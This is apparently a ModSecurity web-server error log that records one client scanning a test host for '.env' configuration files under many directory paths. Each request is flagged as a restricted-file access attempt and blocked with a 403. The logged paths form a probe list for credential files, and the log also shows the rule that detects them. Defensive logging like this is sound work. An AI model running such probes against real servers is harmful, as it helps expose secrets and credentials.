[Wed Feb 25 06:04:58.361567 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterblockd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7QAAAAY&quot;]
[Wed Feb 25 06:04:58.361798 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7QAAAAY&quot;]
[Wed Feb 25 06:04:58.361975 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7QAAAAY&quot;]
[Wed Feb 25 06:04:58.386358 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cardea/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmQAAAAI&quot;]
[Wed Feb 25 06:04:58.386623 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmQAAAAI&quot;]
[Wed Feb 25 06:04:58.386830 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmQAAAAI&quot;]
[Wed Feb 25 06:04:58.398951 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterwallet/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7gAAAAY&quot;]
[Wed Feb 25 06:04:58.399217 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7gAAAAY&quot;]
[Wed Feb 25 06:04:58.399415 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7gAAAAY&quot;]
[Wed Feb 25 06:04:58.435664 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cdw-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmgAAAAI&quot;]
[Wed Feb 25 06:04:58.435951 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmgAAAAI&quot;]
[Wed Feb 25 06:04:58.436138 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmgAAAAI&quot;]
[Wed Feb 25 06:04:58.508425 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7wAAAAY&quot;]
[Wed Feb 25 06:04:58.508726 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7wAAAAY&quot;]
[Wed Feb 25 06:04:58.508918 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7wAAAAY&quot;]
[Wed Feb 25 06:04:58.511309 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cgi-bin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmwAAAAI&quot;]
[Wed Feb 25 06:04:58.511568 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmwAAAAI&quot;]
[Wed Feb 25 06:04:58.511742 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWmwAAAAI&quot;]
[Wed Feb 25 06:04:58.533366 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8AAAAAY&quot;]
[Wed Feb 25 06:04:58.533634 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8AAAAAY&quot;]
[Wed Feb 25 06:04:58.533810 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8AAAAAY&quot;]
[Wed Feb 25 06:04:58.560942 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cryo_project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8QAAAAY&quot;]
[Wed Feb 25 06:04:58.561224 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8QAAAAY&quot;]
[Wed Feb 25 06:04:58.561413 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8QAAAAY&quot;]
[Wed Feb 25 06:04:58.583062 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /css/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8gAAAAY&quot;]
[Wed Feb 25 06:04:58.583335 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8gAAAAY&quot;]
[Wed Feb 25 06:04:58.583512 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8gAAAAY&quot;]
[Wed Feb 25 06:04:58.624253 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /custom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8wAAAAY&quot;]
[Wed Feb 25 06:04:58.624579 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8wAAAAY&quot;]
[Wed Feb 25 06:04:58.624751 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ8wAAAAY&quot;]
[Wed Feb 25 06:04:58.658108 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /d/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ9AAAAAY&quot;]
[Wed Feb 25 06:04:58.658414 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ9AAAAAY&quot;]
[Wed Feb 25 06:04:58.658604 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ9AAAAAY&quot;]
